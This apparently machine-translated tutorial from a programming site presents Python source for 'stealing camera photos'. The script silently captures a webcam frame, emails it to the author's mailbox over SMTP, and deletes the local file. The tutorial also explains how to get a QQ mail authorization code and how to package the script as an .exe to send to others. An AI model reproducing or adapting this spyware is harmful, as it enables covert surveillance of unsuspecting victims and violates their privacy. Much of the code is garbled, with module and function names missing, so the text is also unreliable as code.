SoFunction
Updated on 2024-11-19

Example implementation of python stealing camera photos

python steal camera photos source code + get authorization code method + py packaged into exe

Teaches you to make your own software for stealing camera photos in python.
You need to install python 3.5 or above, just download it from the official website.
Then install the library opencv-python by opening a terminal and typing the command line.
You can add the parameter -i /simple when using pip, so that it will install the required libraries from the Tsinghua side of the image, which will be much faster.

pip install opencv-python -i /simple/

The specific code and the corresponding comments are as follows, you only need to change the recipient and sender to their own mailboxes, change the authorization code, and then compiled into an executable file, that is, the .py packaged into a .exe, so you can send it to others to use it.

import os                    # Delete image files
import cv2                   # Calling the camera to take a picture
from smtplib import SMTP_SSL          # SSL encrypted transport protocol
from  import MIMEText      # Construct the text of the message
from  import MIMEMultipart # Build the mail body
from  import Header         # Send content


# Calling the camera to take a picture
def get_photo():
  cap = (0)      # Turn on the camera
  f, frame = ()        # Save a frame of image data from the camera
  ('', frame)   # Save images as local files
  ()            # Turn off the camera


# Send the image file to my e-mail
def send_message():
  # Select QQ mailbox to send photos
  host_server = ''     # QQ mailbox smtp server
  pwd = '****************'      # Authorization code
  from_qq_mail = 'QQ@'     # Sender
  to_qq_mail = 'QQ@'      # Recipient
  msg = MIMEMultipart()        # Create an e-mail with an attachment

  msg['Subject'] = Header('Webcam photos', 'UTF-8')  # Message Subject
  msg['From'] = from_qq_mail            # Sender
  msg['To'] = Header("YH", 'UTF-8')        # Recipient
  (MIMEText("Photographs.", 'html', 'UTF-8'))  # Add email text message

  # Load attachments to mailbox SSL method encryption
  image = MIMEText(open('', 'rb').read(), 'base64', 'utf-8')
  image["Content-Type"] = 'image/jpeg'  # Encrypted data in image format attached
  (image)           # Attachments added

  # Start sending mail
  smtp = SMTP_SSL(host_server)      # Link servers
  smtp .login(from_qq_mail, pwd)     # Login Mailbox
  (from_qq_mail, to_qq_mail, msg.as_string()) # Send e-mail
  ()   # Exit


if __name__ == '__main__':
  get_photo()         # Turn on the camera to get photos
  send_message()       # Send a photo
  ('')   # Delete local photos

How to get the authorization code: Settings->Accounts->Enable pop3/smtp service->Verify password, you can get the 16-digit authorization code.

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Packing method:
1. Install pyinstaller first, just type pip install pyinstaller in the terminal.
2. Find the path, use the cd method to find the path is more troublesome, here is recommended a simple method, directly in the path box enter cmd into the terminal can be, into the target path.

在这里插入图片描述3.

To pack, enter the command line

pyinstaller --console --onefile  //Packaged here is a file called。

在这里插入图片描述

The executable can be found inside the dist folder.

在这里插入图片描述

在这里插入图片描述

Finally experiment and you'll get an attachment with a bin suffix, change him to a jpg to view it.

在这里插入图片描述

to this article on the realization of this python steal camera photos example of the article is introduced to this, more related python steal camera photos content please search for my previous posts or continue to browse the following related articles I hope you will support me in the future more!